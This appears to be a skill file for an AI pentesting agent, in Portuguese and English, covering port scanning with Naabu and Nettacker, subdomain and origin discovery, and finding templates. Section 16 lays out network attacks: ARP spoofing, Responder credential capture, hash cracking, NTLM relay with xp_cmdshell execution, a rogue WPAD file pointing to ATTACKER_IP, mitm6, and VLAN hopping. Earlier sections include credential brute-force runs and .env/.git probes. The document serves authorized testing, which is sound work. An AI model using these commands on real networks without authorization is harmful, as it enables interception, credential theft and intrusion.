pentest-network-scanning

name	pentest-network-scanning
description	Network reconnaissance and port scanning using Naabu, hping3, and complementary tools
type	skill

Network Scanning & Port Enumeration

🎯 pfSense Detection & Routing

IMPORTANTE: Se durante o scan de rede você identificar um alvo pfSense, ATIVE A SKILL pentest-pfsense imediatamente.

Indicadores de pfSense

# Web GUI detection
curl -skI https://TARGET | grep -iE "server:|pfsense"
curl -sk https://TARGET/ | grep -iE "pfSense|Netgate"

# Nmap detection
nmap -sV -p 443 TARGET | grep -iE "nginx|pfsense"

# Shodan passive detection
shodan search "product:pfsense http.title:pfSense"

Sinais de Alerta

• Porta 443 com nginx e título "pfSense"
• Porta 22 com OpenSSH (versões específicas)
• Portas 1194 (OpenVPN), 500/4500 (IPSec)
• Porta 161 SNMP com OID pfSense
• Certificado SSL com CN=pfSense

Ação Imediata

# Se pfSense detectado → ATIVAR pentest-pfsense skill
# Esta skill continua para enumeração geral de rede
# Use pentest-pfsense para:
# - CVE verification específica
# - Command injection testing (interfaces_gif_edit.php, etc.)
# - Web GUI attack surface especializada
# - Post-exploitation em firewall

---

Objetivo

Realizar descoberta de hosts, enumeração de portas e mapeamento de superfície de ataque de rede usando Naabu como ferramenta primária, complementado por hping3 para técnicas de evasão.

Ferramenta Primária: Naabu

Naabu é um port scanner escrito em Go que realiza varreduras SYN/CONNECT/UDP de forma rápida e confiável.

Instalação e Verificação

# Verificar instalação
naabu -version

# Health check
naabu -health-check

Prerequisites

• Linux: libpcap-dev instalado (apt install -y libpcap-dev)
• Windows: Npcap instalado
• Mac: brew install libpcap
• Root privileges: Necessários para SYN scan (recomendado)

---

1. Quick Commands (PTES 2.5.4 - Active Footprinting)

Scan Básico

# Single host (top 100 ports)
naabu -host example.com

# Single host com saída silenciosa
naabu -host example.com -silent

# Múltiplos hosts
naabu -host example.com,google.com,192.168.1.1

# Lista de hosts
naabu -l hosts.txt

Scan de Portas Específicas

# Portas específicas
naabu -host example.com -p 80,443,8080,8443

# Range de portas
naabu -host example.com -p 1-1000

# Todas as portas (1-65535)
naabu -host example.com -p -

# Top ports
naabu -host example.com -tp 1000

# Excluir portas
naabu -host example.com -p - -ep 22,23

Scan por Tipo

# SYN scan (requer root) - mais rápido e stealth
naabu -host example.com -s SYN

# CONNECT scan (não requer root)
naabu -host example.com -s CONNECT

# UDP scan
naabu -host example.com -p u:53,u:161,u:123

# Payload customizado para UDP
naabu -host example.com -p u:53 -cp "DNS query"

Output e Formatos

# JSON output
naabu -host example.com -j -o output.json

# CSV output
naabu -host example.com -csv -o output.csv

# Texto simples
naabu -host example.com -o output.txt

# Pipe para outras ferramentas
naabu -host example.com -silent | httpx -silent

---

2. Host Discovery (PTES 2.5.4.1 - Ping Sweeps)

Técnicas de Host Discovery

# Apenas host discovery (sem port scan)
naabu -host 192.168.1.0/24 -sn

# ARP ping (rede local)
naabu -host 192.168.1.0/24 -sn -arp

# ICMP echo request
naabu -host 192.168.1.0/24 -sn -pe

# TCP SYN ping (portas específicas)
naabu -host 192.168.1.0/24 -sn -ps 80,443

# TCP ACK ping
naabu -host 192.168.1.0/24 -sn -pa 443

# ICMP timestamp
naabu -host 192.168.1.0/24 -sn -pp

# IPv6 neighbor discovery
naabu -host 2001:db8::/32 -sn -nd

# Combinar múltiplas probes
naabu -host 192.168.1.0/24 -sn -arp -pe -ps 80,443

Skip Host Discovery

# Pular host discovery, scan direto
naabu -host example.com -Pn

---

3. Advanced Scanning (PTES 2.5.4.8 - Port Scanning)

Rate Limiting e Performance

# Ajustar rate (packets/segundo)
naabu -host example.com -rate 1000

# Threads internas
naabu -host example.com -c 25

# Timeout
naabu -host example.com -timeout 5000

# Retries
naabu -host example.com -retries 3

# Warm-up time entre fases
naabu -host example.com -warm-up-time 2

IPv4/IPv6 Scanning

# Scan dual-stack (default)
naabu -host example.com

# Apenas IPv4
naabu -host example.com -iv 4

# Apenas IPv6
naabu -host example.com -iv 6

# Scan todos os IPs de um domínio
naabu -host example.com -sa

CDN/WAF Exclusion (PTES 2.5.4 - Active Footprinting)

# Excluir IPs de CDN (scan apenas 80,443)
naabu -host example.com -ec

# Excluir CDN e mostrar qual CDN está usando
naabu -host example.com -ec -cdn

# Suportados: Cloudflare, Akamai, Incapsula, Sucuri

Passive Port Discovery

# Shodan InternetDB (sem enviar pacotes)
naabu -host example.com -passive

# Combinar passive + active
naabu -host example.com -passive -p 80,443

---

4. Network Interface Configuration

Interface Selection

# Listar interfaces disponíveis
naabu -il

# Usar interface específica
naabu -host example.com -i eth0

# Source IP específico
naabu -host example.com -source-ip 192.168.1.100

# Source port específico
naabu -host example.com -source-port 54321

Proxy Support

# SOCKS5 proxy
naabu -host example.com -proxy 127.0.0.1:9050

# Proxy com autenticação
naabu -host example.com -proxy 127.0.0.1:9050 -proxy-auth user:pass

DNS Resolution

# Custom resolvers
naabu -host example.com -r 8.8.8.8,1.1.1.1

# Usar sistema DNS como fallback
naabu -host example.com -sr

# Ordem de resolução (p=proxy, l=local, lp=local+proxy, pl=proxy+local)
naabu -host example.com -dns-order pl

---

5. Nmap Integration (PTES 2.5.4 - Service Discovery)

Service Discovery com Nmap

# Executar nmap nos resultados
naabu -host example.com -nmap-cli 'nmap -sV -sC'

# Nmap output XML
naabu -host example.com -nmap-cli 'nmap -sV -oX nmap-output.xml'

# Service version detection
naabu -host example.com -nmap-cli 'nmap -sV -O'

# Script scanning
naabu -host example.com -nmap-cli 'nmap -sC --script vuln'

Service Discovery Nativo

# Service discovery
naabu -host example.com -sD

# Service version
naabu -host example.com -sV

# Combinar ambos
naabu -host example.com -sD -sV

---

6. Smart Scanning (PTES 3.1 - Vulnerability Testing)

Predictive Port Scanning

# Smart scan com modelo de correlação
naabu -host example.com -ss

# Ajustar threshold de confiança (0-100%)
naabu -host example.com -ss -pt 50

Verification Mode

# Verificar portas encontradas com TCP verification
naabu -host example.com -verify

# Ping probes para verificação de host
naabu -host example.com -ping

---

7. Stream Mode (PTES 2.5.4 - Large Scale Scanning)

Stream para Grandes Volumes

# Stream mode (sem resume, sem nmap, sem retries)
naabu -l targets.txt -stream -silent

# Stream com rate limiting
naabu -l targets.txt -stream -rate 500

---

8. Integration Workflows

Naabu + httpx (Web Server Discovery)

# Port scan → Web server detection
naabu -host example.com -silent | httpx -silent

# Com output JSON
naabu -host example.com -j | httpx -json

# Filtrar por porta específica
naabu -host example.com -p 80,443,8080 -silent | httpx -title -tech-detect

Naabu + Nuclei (Vulnerability Scanning)

# Port scan → Vulnerability scan
naabu -host example.com -silent | httpx -silent | nuclei -silent

# Scan específico para portas descobertas
naabu -host example.com -p 80,443 -j | jq -r '.ip' | nuclei -hosts -

Naabu + Subfinder (Full Recon)

# Subdomain enumeration → Port scan
subfinder -d example.com -silent | naabu -silent

# Com output formatado
subfinder -d example.com -silent | naabu -p 80,443 -silent | httpx -silent

Naabu + Masscan (Large Scale)

# Masscan para speed → Naabu para verification
masscan -p80,443 192.168.0.0/16 --rate 10000 -oL masscan.txt
cat masscan.txt | awk '{print $4}' | naabu -verify -silent

---

9. Comparison: Naabu vs hping3

Característica	Naabu	hping3
Velocidade	Ultra-rápido (Go, multi-threaded)	Rápido (single-threaded)
SYN Scan	✅ Nativo	✅ Manual
CONNECT Scan	✅ Nativo	❌ Não suporta
UDP Scan	✅ Nativo com payload	✅ Manual
Host Discovery	✅ Múltiplas probes	✅ ICMP/TCP manual
Output Formats	JSON, CSV, TXT	Texto apenas
Nmap Integration	✅ Nativa	❌ Manual
Evasion	Básica	✅ Avançada (fragmentação, spoofing)
IDS Evasion	Limitada	✅ XMAS, NULL, fragmentação
Use Case	Enumeração em massa	Evasão, firewall testing

Quando usar cada ferramenta:

Usar Naabu quando:

• Enumeração rápida de múltiplos hosts/portas
• Precisa de output estruturado (JSON/CSV)
• Integração com outras tools (httpx, nuclei)
• Scan de grandes ranges (CIDR)
• Precisa de CDN/WAF detection

Usar hping3 quando:

• Firewall stateless detectado
• Precisa de packet crafting customizado
• Testar regras específicas de firewall
• IDS/IPS evasion testing
• Fragmentation attacks

---

10. Template de Finding - Port Scanning

FINDING: NETWORK-RECONNAISSANCE-NAABU
CATEGORY: RECONNAISSANCE
SEVERITY: INFO
PTES: 2.5.4 - Active Footprinting

TARGET:
- Host/Range: [target]
- Portas descobertas: [lista]
- Serviços identificados: [lista]

DESCRIPTION:
Port scanning via Naabu identificou [X] portas abertas
no alvo, expondo os seguintes serviços: [serviços]

EVIDENCE:
naabu -host [target] -p [ports] -silent
[Output do scan]

SERVICES DISCOVERED:
- Port 22: SSH
- Port 80: HTTP (nginx)
- Port 443: HTTPS (nginx)
- Port 3306: MySQL (interno exposto!)

RECOMMENDATIONS:
- Fechar portas não necessárias
- Implementar firewall rules
- Usar VPN para serviços internos
- Habilitar rate limiting

PTES REFERENCE: Section 2.5.4 (Active Footprinting)

Template de Finding - Serviço Exposto

FINDING: EXPOSED-SERVICE-[PORT]
CATEGORY: NETWORK_EXPOSURE
SEVERITY: [MEDIUM/HIGH/CRITICAL]

AFFECTED RESOURCE:
- IP/Hostname: [target]
- Port: [port]
- Service: [service name/version]

DESCRIPTION:
Serviço [service] exposto na porta [port] sem
restrições de acesso adequadas.

EVIDENCE:
naabu -host [target] -p [port] -silent
nmap -sV -p [port] [target]

IMPACT:
- [Descrever impacto potencial]

REMEDIATION:
1. Restringir acesso via security groups/firewall
2. Implementar autenticação
3. Mover para rede privada/VPN
4. Habilitar logging e monitoramento

PTES REFERENCE: Section 2.5.4, 3.1

---

11. Config File

Configuração Persistente (~/.config/naabu/config.yaml)

# Configuração padrão para todos os scans
rate: 1000
timeout: 1000
retries: 3
scan-type: SYN
ip-version:
  - "4"
  - "6"
exclude-cdn: true
output-cdn: true
json: true

---

12. Debug e Troubleshooting

Health Check

# Verificar se naabu está configurado corretamente
naabu -health-check

# Debug output
naabu -host example.com -debug

# Verbose output
naabu -host example.com -v

Common Issues

# "permission denied" → Usar CONNECT scan ou root
naabu -host example.com -s CONNECT

# "no valid ipv4/ipv6 targets" → Verificar DNS
naabu -host example.com -sr

# Rate limit issues → Reduzir rate
naabu -host example.com -rate 100

---

13. Integration with Existing Skills

Combined Workflow (PTES Phases)

PTES 2.5 - External Footprinting:
1. subfinder -d target.com | naabu -silent
2. naabu -host target.com -p - -ec
3. naabu results | httpx | nuclei

PTES 3.1 - Vulnerability Testing:
1. naabu -host target.com -ss (smart scan)
2. naabu -host target.com -nmap-cli 'nmap -sV --script vuln'

PTES 4.1 - Precision Strike:
1. naabu identifica portas abertas
2. hping3 testa firewall rules
3. headi testa HTTP header injection
4. Exploração baseada nos resultados

---

14. OWASP Nettacker Integration (PTES 2.5.4 - Active Footprinting)

Visão Geral do Nettacker

OWASP Nettacker é um framework Python-based de penetration testing automatizado que complementa Naabu e hping3 com:

• 106+ módulos de scan, vulnerabilidade e brute-force
• Port scanning com detecção de serviços
• Vulnerability scanning com 50+ CVE checks
• Subdomain enumeration integrado
• Web technology detection (Wappalyzer-based)
• Multiple output formats: HTML, JSON, CSV, SARIF
• REST API + Web UI para automação

Quando usar Nettacker vs Naabu

Característica	Nettacker	Naabu
Velocidade	Moderado (Python)	Ultra-rápido (Go)
Port Scanning	✅ 1000 top ports	✅ 1000 top ports
CVE Detection	✅ 50+ módulos	❌ Requer nuclei
Brute-Force	✅ 8 módulos	❌ Não suporta
Subdomain Scan	✅ Nativo	❌ Requer subfinder
Web Tech Detection	✅ Nativo	❌ Requer httpx
API/Web UI	✅ REST API + Web UI	❌ CLI apenas
Report Formats	HTML, JSON, CSV, SARIF	JSON, CSV, TXT
Service Discovery	✅ Signature-based	✅ Básico

Use Nettacker quando:

• Precisa de vulnerability scanning integrado (CVE checks)
• Quer brute-force em serviços (FTP, SSH, HTTP auth)
• Precisa de subdomain enumeration + port scan em um comando
• Quer API REST para automação/integração
• Precisa de relatórios HTML formatados automaticamente

Use Naabu quando:

• Velocidade é crítica (grandes ranges)
• Já tem workflow com httpx + nuclei
• Precisa de CDN/WAF detection avançado
• Quer apenas port scanning rápido

Nettacker via Docker (Recomendado)

# Iniciar API + Web UI (já configurado neste projeto)
cd /opt/Tools/Nettacker
docker compose up -d

# Acessar Web UI
# https://localhost:5000
# API Key: mostrar em docker logs nettacker

# Health check
curl -k https://localhost:5000

Nettacker CLI via Docker

# Port scanning básico (1000 top ports)
docker run --rm owasp/nettacker -i target.com -m port_scan

# Todas as portas
docker run --rm owasp/nettacker -i target.com -m port_scan -g 1-65535

# Port scan + service detection
docker run --rm owasp/nettacker -i target.com -m port_scan --graph d3_tree_v2_graph -o report.html

# Subdomain enumeration + port scan
docker run --rm owasp/nettacker -i target.com -d -m port_scan

# Vulnerability scanning (50+ CVE checks)
docker run --rm owasp/nettacker -i target.com -m *_vuln

# Scan específico para CVEs críticas
docker run --rm owasp/nettacker -i target.com -m f5_cve_2020_5902_vuln,citrix_cve_2019_19781_vuln,log4j_cve_2021_44228_vuln

# Brute-force em serviços
docker run --rm owasp/nettacker -i target.com -m ftp_brute,ssh_brute,http_basic_auth_brute -u admin,root -p password,123456

# Admin panel discovery
docker run --rm owasp/nettacker -i target.com -m admin_scan

# Directory brute-force
docker run --rm owasp/nettacker -i target.com -m dir_scan

# WAF detection
docker run --rm owasp/nettacker -i target.com -m waf_scan

# WordPress scanning
docker run --rm owasp/nettacker -i target.com -m wordpress_version_scan,wp_plugin_scan,wp_xmlrpc_bruteforce_vuln

# Joomla scanning
docker run --rm owasp/nettacker -i target.com -m joomla_version_scan,joomla_user_enum_scan

# Drupal scanning
docker run --rm owasp/nettacker -i target.com -m drupal_version_scan,drupal_modules_scan

# SSL/TLS vulnerability scanning
docker run --rm owasp/nettacker -i target.com -m ssl_weak_cipher_vuln,ssl_version_vuln,heartbleed_vuln,ssl_expired_certificate_vuln

# HTTP security headers check
docker run --rm owasp/nettacker -i target.com -m clickjacking_vuln,content_security_policy_vuln,content_type_options_vuln,xss_protection_vuln

# GraphQL endpoint detection
docker run --rm owasp/nettacker -i target.com -m graphql_vuln

# Combinar múltiplos módulos
docker run --rm owasp/nettacker -i target.com -m port_scan,admin_scan,dir_scan,waf_scan,ssl_*_vuln -o report.html --graph d3_tree_v2_graph

# Scan em lista de targets
docker run --rm -v $(pwd)/targets.txt:/targets.txt owasp/nettacker -l /targets.txt -m port_scan

# Output em diferentes formatos
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.html
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.json
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.csv
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.sarif

Nettacker API Integration

# Obter API key dos logs
API_KEY=$(docker logs nettacker 2>&1 | grep "API Key" | awk '{print $4}')

# Submeter novo scan via API
curl -k -X POST "https://localhost:5000/new/scan" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "key=${API_KEY}&targets=target.com&selected_modules=port_scan,admin_scan,vuln&report_path_filename=/tmp/report.html"

# Listar resultados
curl -k "https://localhost:5000/results/get_list?page=1" \
  -H "Cookie: key=${API_KEY}"

# Obter resultado específico
curl -k "https://localhost:5000/results/get?id=1" \
  -H "Cookie: key=${API_KEY}"

# Search hosts
curl -k "https://localhost:5000/logs/search?q=port_scan&page=1" \
  -H "Cookie: key=${API_KEY}"

# Obter resultado em JSON
curl -k "https://localhost:5000/logs/get_json?target=target.com&key=${API_KEY}"

# Obter resultado em HTML
curl -k "https://localhost:5000/logs/get_html?target=target.com&key=${API_KEY}" -o report.html

Nettacker Modules Reference

Scan Modules (Reconnaissance)

- port_scan: Open ports + service detection (1000 top ports)
- admin_scan: Admin panels (/admin, /wp-admin, /phpmyadmin)
- dir_scan: Directory brute-forcing
- subdomain_scan: Subdomain enumeration
- waf_scan: Web Application Firewall detection
- http_status_scan: HTTP status codes
- http_redirect_scan: HTTP redirects
- http_html_title_scan: HTML title extraction
- iceroute_version_scan: IceWarp version detection
- cups_version_scan: CUPS version on port 631
- web_technologies_scan: Tech stack detection (Wappalyzer)
- ssl_expiring_certificate_scan: SSL expiry check
- joomla_template_scan, joomla_user_enum_scan, joomla_version_scan
- wordpress_version_scan, wp_plugin_scan, wp_theme_scan, wp_timethumbs_scan
- drupal_version_scan, drupal_modules_scan, drupal_theme_scan
- viewdns_reverse_iplookup_scan: Reverse IP lookup

Vuln Modules (50+ CVE Checks)

Critical CVEs:
- f5_cve_2020_5902_vuln: F5 BIG-IP RCE (CVSS 9.8)
- citrix_cve_2019_19781_vuln: Citrix ADC RCE (CVSS 9.8)
- vbulletin_cve_2019_16759_vuln: vBulletin RCE (CVSS 9.8)
- msexchange_cve_2021_26855: ProxyLogon SSRF (CVSS 9.8)
- log4j_cve_2021_44228_vuln: Log4Shell RCE (CVSS 10.0)
- apache_struts_vuln: Struts RCE CVE-2017-5638 (CVSS 10.0)
- xdebug_rce_vuln: XDebug RCE (CVSS 10.0)

High Severity:
- citrix_cve_2023_24488_vuln: Citrix XSS
- sonicwall_sslvpn_cve_2024_53704_vuln: SonicWall SSLVPN
- ivanti_epmm_cve_2023_35082_vuln: Ivanti EPMM
- confluence_cve_2023_22515_vuln, confluence_cve_2023_22527_vuln
- grafana_cve_2021_43798_vuln
- joomla_cve_2023_23752_vuln

SSL/TLS:
- heartbleed_vuln: CVE-2014-0160
- ssl_weak_cipher_vuln: Weak cipher suites
- ssl_version_vuln: SSLv2/SSLv3 support
- ssl_expired_certificate_vuln: Expired certs
- ssl_signed_certificate_vuln: Self-signed certs

HTTP Security Headers:
- clickjacking_vuln: Missing X-Frame-Options
- content_security_policy_vuln: Missing CSP
- content_type_options_vuln: Missing X-Content-Type-Options
- xss_protection_vuln: Missing X-XSS-Protection
- server_version_vuln: Server banner leak
- x_powered_by_vuln: X-Powered-By leak
- http_cors_vuln: Overly permissive CORS
- http_cookie_vuln: Insecure cookie attributes
- strict_transport_security_vuln: Missing HSTS

Brute Modules

- ftp_brute: FTP authentication
- ssh_brute: SSH authentication
- smtp_brute: SMTP authentication
- telnet_brute: Telnet authentication
- http_basic_auth_brute: HTTP Basic Auth
- http_form_brute: HTTP form login
- http_ntlm_brute: HTTP NTLM auth
- wp_xmlrpc_brute: WordPress XMLRPC

Nettacker + pfSense Detection

# Detect pfSense via SSL certificate
docker run --rm owasp/nettacker -i pfsense-target.com -m ssl_expiring_certificate_scan,ssl_signed_certificate_vuln

# Web GUI detection
docker run --rm owasp/nettacker -i pfsense-target.com -m http_html_title_scan,web_technologies_scan

# Vulnerability scanning específico
docker run --rm owasp/nettacker -i pfsense-target.com -m clickjacking_vuln,content_security_policy_vuln,ssl_weak_cipher_vuln

# Combinar com nmap para version detection
docker run --rm owasp/nettacker -i pfsense-target.com -m port_scan,ssl_*_vuln,http_*_scan -o pfsense_report.html

Template de Finding - Nettacker Scan

FINDING: NETWORK-RECONNAISSANCE-NETTACKER
CATEGORY: RECONNAISSANCE
SEVERITY: INFO
PTES: 2.5.4 - Active Footprinting

TARGET:
- Host/Range: [target]
- Portas descobertas: [lista]
- Serviços identificados: [lista]
- Vulnerabilidades detectadas: [lista]

DESCRIPTION:
OWASP Nettacker identificou [X] portas abertas, [Y] serviços,
e [Z] vulnerabilidades potenciais no alvo.

MODULES USED:
- port_scan: Network port enumeration
- admin_scan: Admin panel discovery
- *_vuln: CVE vulnerability checks
- waf_scan: WAF detection

EVIDENCE:
docker run --rm owasp/nettacker -i [target] -m [modules] -o report.json

OUTPUT FILES:
- report.html: Interactive HTML report with graphs
- report.json: Structured JSON data
- report.csv: Spreadsheet format
- report.sarif: SARIF format for SIEM integration

REMEDIATION:
[Based on specific findings from Nettacker modules]

PTES REFERENCE: Section 2.5.4 (Active Footprinting)

Nettacker Output Formats

# HTML Report (with interactive graph)
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m port_scan,vuln \
  -o /output/report.html --graph d3_tree_v2_graph

# JSON (structured data)
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m port_scan \
  -o /output/report.json

# CSV (spreadsheet)
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m port_scan \
  -o /output/report.csv

# SARIF (SIEM/defect dojo)
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m port_scan,vuln \
  -o /output/report.sarif

# DefectDojo compatible
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m port_scan,vuln \
  -o /output/report.dd.json

Nettacker Profiles

# Information gathering profile
docker run --rm owasp/nettacker -i target.com --profile information_gathering

# Vulnerability assessment profile
docker run --rm owasp/nettacker -i target.com --profile vulnerabilities

# High severity only
docker run --rm owasp/nettacker -i target.com --profile high_severity

# Backup services detection
docker run --rm owasp/nettacker -i target.com --profile backup

# Brute-force profile
docker run --rm owasp/nettacker -i target.com --profile brute

Nettacker Advanced Options

# Thread control
docker run --rm owasp/nettacker -i target.com -m port_scan -t 100 -M 20
# -t: threads per host
# -M: parallel module scan

# Timeout and retries
docker run --rm owasp/nettacker -i target.com -m port_scan -T 5 --retries 3

# Time sleep between requests (stealth)
docker run --rm owasp/nettacker -i target.com -m port_scan -w 1

# SOCKS proxy
docker run --rm owasp/nettacker -i target.com -m port_scan -R socks5://127.0.0.1:9050

# Custom user agent
docker run --rm owasp/nettacker -i target.com -m http_*_scan --user-agent "Mozilla/5.0"

# Custom HTTP headers
docker run --rm owasp/nettacker -i target.com -m http_*_scan -H "Authorization: Bearer token" -H "X-Custom: value"

# Verbose output
docker run --rm owasp/nettacker -i target.com -m port_scan -v 3

# Ping before scan
docker run --rm owasp/nettacker -i target.com -m port_scan --ping-before-scan

# Hardware usage control
docker run --rm owasp/nettacker -i target.com -m port_scan --set-hardware-usage low

Nettacker + Naabu Combined Workflow

# Phase 1: Naabu for fast port discovery
naabu -host target.com -p - -silent -o naabu_ports.txt

# Phase 2: Nettacker for vulnerability scanning on discovered ports
ports=$(cat naabu_ports.txt | grep -oE '[0-9]+' | tr '\n' ',' | sed 's/,$//')
docker run --rm -v $(pwd):/data owasp/nettacker \
  -i target.com -m *_vuln,admin_scan,waf_scan \
  -g "$ports" \
  -o /data/vuln_report.html

# Phase 3: Consolidate results
cat naabu_ports.txt
cat vuln_report.json | jq '.vulnerabilities'

---

15. Subdomain Enumeration & Asset Discovery (PTES 2.5.4 - Active Footprinting)

Técnicas de Subdomain Enumeration do Claude-OSINT

# Fonte primária: crt.sh (Certificate Transparency)
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u

# Fallback chain se crt.sh falhar:
# 1. certspotter
curl -s "https://api.certspotter.com/v1/issuances?domain=target.com&include_subdomains=true&expand=dns_names" | jq -r '.[].dns_names[]'

# 2. DNSx com múltiplos resolvers
echo "target.com" | dnsx -silent -resp-only

# 3. Subfinder (passive sources)
subfinder -d target.com -silent

# 4. Amass (active + passive)
amass enum -passive -d target.com

Asset Graph Discipline (29 Tipos de Asset)

TIPOS DE ASSET:
1.  DOMAIN_REGISTRAR
2.  DOMAIN
3.  SUBDOMAIN
4.  ORIGIN_SERVER
5.  CDN_ENDPOINT
6.  WAF
7.  LOAD_BALANCER
8.  REVERSE_PROXY
9.  WEB_SERVER
10. API_GATEWAY
11. AUTH_SERVER
12. IDP (Identity Provider)
13. MAIL_SERVER
14. MX_RECORD
15. DNS_SERVER
16. CLOUD_BUCKET (S3, GCS, Azure)
17. CLOUD_FUNCTION
18. CONTAINER_REGISTRY
19. CI_CD_PIPELINE
20. GIT_REPOSITORY
21. DOCUMENTATION_SITE
22. ADMIN_PANEL
23. MONITORING_ENDPOINT
24. BACKUP_SERVER
25. DATABASE_SERVER
26. MESSAGE_QUEUE
27. CACHE_SERVER
28. FILE_STORAGE
29. THIRD_PARTY_INTEGRATION

Edge Taxonomy (Relacionamentos entre Assets)

EDGE TYPES:
- RESOLVES_TO: subdomain → IP
- HOSTS: IP → domain
- SERVES: server → content
- PROTECTS: WAF → origin
- CACHES: CDN → origin
- FORWARDS_TO: proxy → backend
- AUTHENTICATES: IdP → application
- STORES: bucket → data
- DEPLOYS: CI/CD → infrastructure
- MONITORS: monitoring → target
- BACKS_UP: backup → primary

WAF/CDN Bypass & Origin Discovery

# 1. DNS history (SecurityTrails, DNSHistory)
curl -s "https://api.securitytrails.com/v1/domain/target.com/history" \
  -H "APIKEY: $SECURITYTRAILS_KEY" | jq '.records[] | select(.type=="A")'

# 2. SSL certificate history (crt.sh)
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
  jq -r '.[] | "\(.before_value)|\(.issuer_name)"' | sort -u

# 3. Shodan search (sem enviar pacotes)
shodan search "ssl.cert.subject.cn:*.target.com" --fields ip_str,port,hostnames

# 4. Fullstack/developer endpoints (vazam origem)
curl -s "https://target.com/.git/config"
curl -s "https://target.com/.env"
curl -s "https://target.com/server-status"  # Apache mod_status

# 5. DNS enumeration com tentativas de bypass
for sub in www mail ftp api dev staging prod; do
  dig +short $sub.target.com @8.8.8.8
  dig +short $sub.target.com @1.1.1.1
done

Email Security Analysis (SPF/DMARC/DKIM/BIMI/MTA-STS/DNSSEC)

# SPF Record
dig +short target.com TXT | grep -i "v=spf1"
# Analisar: ~all (softfail), -all (hardfail), ?all (neutral)
# Risco: include: terceiros não verificados

# DMARC Record
dig +short _dmarc.target.com TXT | grep -i "v=DMARC1"
# Analisar: p=none (monitor), p=quarantine, p=reject
# Risco: pct < 100 (política parcial)

# DKIM Selector Discovery
for selector in default google mailo selector1 _domainkey; do
  dig +short $selector._domainkey.target.com TXT
done

# BIMI Record (Brand Indicators)
dig +short default._bimi.target.com TXT

# MTA-STS
curl -s "https://mta-sts.target.com/.well-known/mta-sts.txt"

# DNSSEC
dig +dnssec target.com | grep -E "flags:|ad"

Template de Finding - Subdomain Takeover Risk

FINDING: SUBDOMAIN-TAKEOVER-RISK
CATEGORY: RECONNAISSANCE
SEVERITY: HIGH (se CNAME para serviço inexistente)
PTES: 2.5.4 - Active Footprinting

AFFECTED RESOURCE:
- Subdomain: [subdomain.target.com]
- CNAME: [apaga-servico.github.io / herokuapp.com / etc.]

DESCRIPTION:
O subdomain aponta para um serviço de terceiros que não
está mais provisionado, permitindo subdomain takeover.

EVIDENCE:
dig +short subdomain.target.com
# Retorna: CNAME para serviço inexistente

curl -s https://subdomain.target.com
# Retorna: 404 do serviço (GitHub Pages, Heroku, etc.)

REMEDIATION:
1. Remover DNS record ou
2. Provisionar o serviço no terceiro ou
3. Apontar para página de erro controlada

PTES REFERENCE: Section 2.5.4 (Active Footprinting)

---

16. NETWORK PROTOCOL ATTACKS (PTES 4.1 - Precision Strike)

16.1 ARP Spoofing — MitM Positioning

# arpspoof (dsniff suite) — Gratuitous ARP
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &

# ettercap — ARP poisoning with sniffing
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//

# bettercap — modern framework
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on

16.2 Selective Targeting (Stealth)

# bettercap — target specific hosts, avoid detection
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on

16.3 LLMNR / NBT-NS / mDNS Poisoning

# Responder — Credential Capture
responder -I eth0 -dwPv

# Key flags:
# -d  Enable answers for DHCP broadcast requests (fingerprinting)
# -w  Start WPAD rogue proxy
# -P  Force NTLM auth for WPAD
# -v  Verbose

# Analyze mode only (passive, no poisoning)
responder -I eth0 -A

16.4 Captured Hash Formats

Protocol	Hash Type	Hashcat Mode	Crackability
NTLMv1	NetNTLMv1	5500	Fast — rainbow tables viable
NTLMv2	NetNTLMv2	5600	Moderate — dictionary + rules
NTLMv1-ESS	NetNTLMv1	5500	Fast — same as NTLMv1

# Crack captured hashes
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule
john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt

# Relay instead of crack
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldaps://DC01 --delegate-access    # RBCD attack
ntlmrelayx.py -t mssql://DB01 -q "exec xp_cmdshell 'whoami'"

16.5 WPAD Abuse

# Responder with WPAD proxy
responder -I eth0 -wPv

# WPAD flow:
# 1. Client queries DHCP for WPAD → DNS for wpad.domain.com → LLMNR/NBT-NS
# 2. Responder answers with rogue wpad.dat
# 3. Browser uses attacker's proxy → forced NTLM auth → credential capture

# Manual WPAD PAC File
cat > wpad.dat << 'EOF'
function FindProxyForURL(url, host) {
    return "PROXY ATTACKER_IP:3128; DIRECT";
}
EOF

16.6 DHCPv6 Attack — mitm6

Even on IPv4-only networks, Windows clients send DHCPv6 solicitations by default.

# mitm6 → DNS takeover → NTLM relay
mitm6 -d domain.com

# In parallel: relay captured NTLM to LDAP(S) for delegation
ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com -l loot --delegate-access

# Attack chain:
# 1. mitm6 answers DHCPv6 → sets attacker as IPv6 DNS
# 2. Victim DNS queries go to attacker → WPAD redirect
# 3. Forced NTLM auth → relay to LDAP → create machine account or RBCD

Key Conditions:

• SMB signing disabled on targets (for SMB relay)
• LDAP signing not enforced on DC (for LDAP relay)
• Domain Computers quota > 0 (for machine account creation, default: 10)

16.7 VLAN Hopping

# Switch Spoofing (DTP)
yersinia dtp -attack 1 -interface eth0

# frogger.sh — automated VLAN hopping via DTP
./frogger.sh
# Sends DTP frames → switch enables trunking → access all VLANs

# After trunk established:
modprobe 8021q
